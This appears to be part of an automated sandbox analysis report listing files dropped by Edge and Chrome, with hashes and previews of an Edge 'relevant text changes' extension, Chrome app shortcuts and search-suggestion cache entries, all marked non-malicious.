Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1865522288\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1865522288\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1865522288\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1865522288\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1865522288\f254009c-bb08-4a22-ae98-f27dfd8b2043.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Dec 12 14:46:46 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.980719293628945
Encrypted:	false
SSDEEP:	48:8HYd0dNTVFZHeeidAKZdA1oehwiZUklqehJy+3:8HYdmfOCy
MD5:	35967190161A62F6585BC82415D966FC
SHA1:	E42F4742DC0D0F343189C29B520C0AC5AC4E05CE
SHA-256:	E1594C25657D033532932ACD67C33495EF302A57C248FEDC25FC29415DE7BEDD
SHA-512:	A33871135AA9E1A404D566BDF711CCC0FEE6B90837E50030022F14C03081DCCD04F1C0CB6A4119428A7EA5707A977531097C2A1E06A8A850BA245EE177B0A803
Malicious:	false
Preview:	L..................F.@.. ...$+.,....oP...L..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.I.Y.}....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.}....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.}....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.}..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.}...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........o.S......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Dec 12 14:46:46 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.001069308699377
Encrypted:	false
SSDEEP:	48:8Hd0dNTVFZHeeidAKZdA1leh/iZUkAQkqehyy+2:8Hdmfs9Qjy
MD5:	DC8E12E0C67A2856BC482C4E9DA8A60C
SHA1:	60E23ACFF12376ADABC03430502519E06C7F38B8
SHA-256:	D2A2971CAFF9614D6EA2DEECF6AE453A369889D4CFAA7404730D72BDC38120EC
SHA-512:	08C5510DB1D33E4E0009C22F800630AEBEF1E271E9B56066A96800671F1CF4358B82A71ACFC33CD15E60998FADCECFB486FD0ADA879A93ACA44AB8F755A40F25
Malicious:	false
Preview:	L..................F.@.. ...$+.,........L..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.I.Y.}....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.}....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.}....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.}..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.}...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........o.S......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 5 07:00:51 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.0116540522743325
Encrypted:	false
SSDEEP:	48:8yd0dNTVFbHeeidAKZdA14t5eh7sFiZUkmgqeh7sky+BX:8ydmfSnmy
MD5:	F368A634B11957772000AFD1B3D7003E
SHA1:	EF74FD71EC5D1A88EDF0E3A148D81B51F1AA51DB
SHA-256:	8803C1341D7FD66C12228AD26457EB97808F4F623D2A1B329A9103B958BA3FD9
SHA-512:	B356ABE30965BC63600C6E8AE0CCEFB1D097272D4CE107F30B2DA0DB41B5318A715F50CD959512D994D16B84D4922B211A1ABC2F67F806B45DA3661AA0D7FE04
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....C..b...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.I.Y.}....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.}....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.}....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.}..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VEW.@...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........o.S......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Dec 12 14:46:46 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.998765963448197
Encrypted:	false
SSDEEP:	48:8rxd0dNTVFZHeeidAKZdA16ehDiZUkwqeh+y+R:8rxdmfn8y
MD5:	9540717EF29438BCE4F908734F1BF1E1
SHA1:	7B61D8A46F46AE1B647BC69FE10178870E6CAB04
SHA-256:	D5E6390853A7191E385C8701C9DC3E0A80D828552AC8B331390D12233D2670CA
SHA-512:	A4863D8279A934A7A7AA198D93BB0888A51060AA6A0AC57487CB35246A998BEF5557AD333CB24E642AE59EFF4E511779FD7EAAAEF6F69D3A39D9022C3006E8D9
Malicious:	false
Preview:	L..................F.@.. ...$+.,.........L..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.I.Y.}....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.}....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.}....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.}..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.}...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........o.S......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Dec 12 14:46:46 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9898619943866724
Encrypted:	false
SSDEEP:	48:88d0dNTVFZHeeidAKZdA1UehBiZUk1W1qeh4y+C:88dmf39Yy
MD5:	66B15ABB98EE98B05160934B48115DD2
SHA1:	E13CCA6BAF19AA92DFDA7C5684F9750789596FF4
SHA-256:	899DAF03BD2BB614EDE0F06FC48EFC92F0DDE51D7444FAA50BB7AD7A280B4516
SHA-512:	C08C2C8FEB45012CCB706FCB329F848D98EA954AF83600DE6389508572E141CD00181ED8987639657906E9450F6C8769208D81925AA486D0CB1ECADFEA9B6099
Malicious:	false
Preview:	L..................F.@.. ...$+.,.........L..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.I.Y.}....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.}....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.}....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.}..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.}...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........o.S......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Dec 12 14:46:46 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.996983669062664
Encrypted:	false
SSDEEP:	48:8ld0dNTVFZHeeidAKZdA1duTrehOuTbbiZUk5OjqehOuTbmy+yT+:8ldmfATYTbxWOvTbmy7T
MD5:	EF48E987F083DDCE3D349F78B0385D2C
SHA1:	A0452FB2828BF120F2B66787FF44EF7BAEB61760
SHA-256:	876BB1D30CB6AAE6E5B6B647AE935AE1351E7A9F0BDFEB7ECAC153D5E9CCECB8
SHA-512:	3657908ECE9669AB07B4EEF7BE6674EA2418FDA6ECD86C98D8F142B316677E49C13EA390C1C38912E6FAB8C8254A2742861C27CDE9C593433DDC839F813D9AC8
Malicious:	false
Preview:	L..................F.@.. ...$+.,....E...L..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.I.Y.}....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.}....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.}....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.}..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.}...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........o.S......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 453

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (800)
Category:	dropped
Size (bytes):	805
Entropy (8bit):	5.149231085475778
Encrypted:	false
SSDEEP:	24:/GChbm7FeGvjBHslgT9lCuABuoB7HHHHHHHYqmffffffo:/J9GvjKlgZ01BuSEqmffffffo
MD5:	5287A71F3060154FFDB374248BC388B2
SHA1:	7BEEC5DCDCBA3671119C7BDF5E269ED0F483AF0A
SHA-256:	0245A0A26FD24679E89EF75DD8D7D0432B9355D502213B05CB2E05598B832882
SHA-512:	3BA8A3706B7C00DEFEB0AA9BD675EDEFAD3AF2D037A9BBEFE82E97628219A80222D6945EE3012C8622CD967E3F1418B05236C26E6FC0DBDB93DB5F0B9A698BED
Malicious:	false
Preview:	)]}'.["",["san diego mls expansion draft","openai chatgpt outage","nyt connections hints december 12","iphone ios 18.2 release date","walgreens boots alliance private equity","cooking with kya recipes","nyt strands hints","east coast weather bomb cyclone"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 454

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2412)
Category:	dropped
Size (bytes):	175734
Entropy (8bit):	5.551686932390994
Encrypted:	false
SSDEEP:	3072:Kx03C+ynn+R9n4huwXljOCGZhQDx52yWk2b93BBpBzjZpdDeUyQzv82hkHzRznoT:K23Cj+rn4huSzGZhOx52yWk253BBpBzn
MD5:	48EAA6954DC74646ED3613F4E8F197B5
SHA1:	70B84AEF92CE84C6D645C1872CAC8AA56B98E0C6
SHA-256:	9527A1DB4CA770A43A959E4DE906C7AC030463F4008768132AD80C1A6DDE9817
SHA-512:	0C9A8C24822A5CDDF50F00A34B82D4352F9C73DBE09987611F14B3ABAB22C2DF92508C7D984966CCBB7B713A7711D199E300C0C5B5AD9FE9A715DA6B45A2C8FF
Malicious:	false
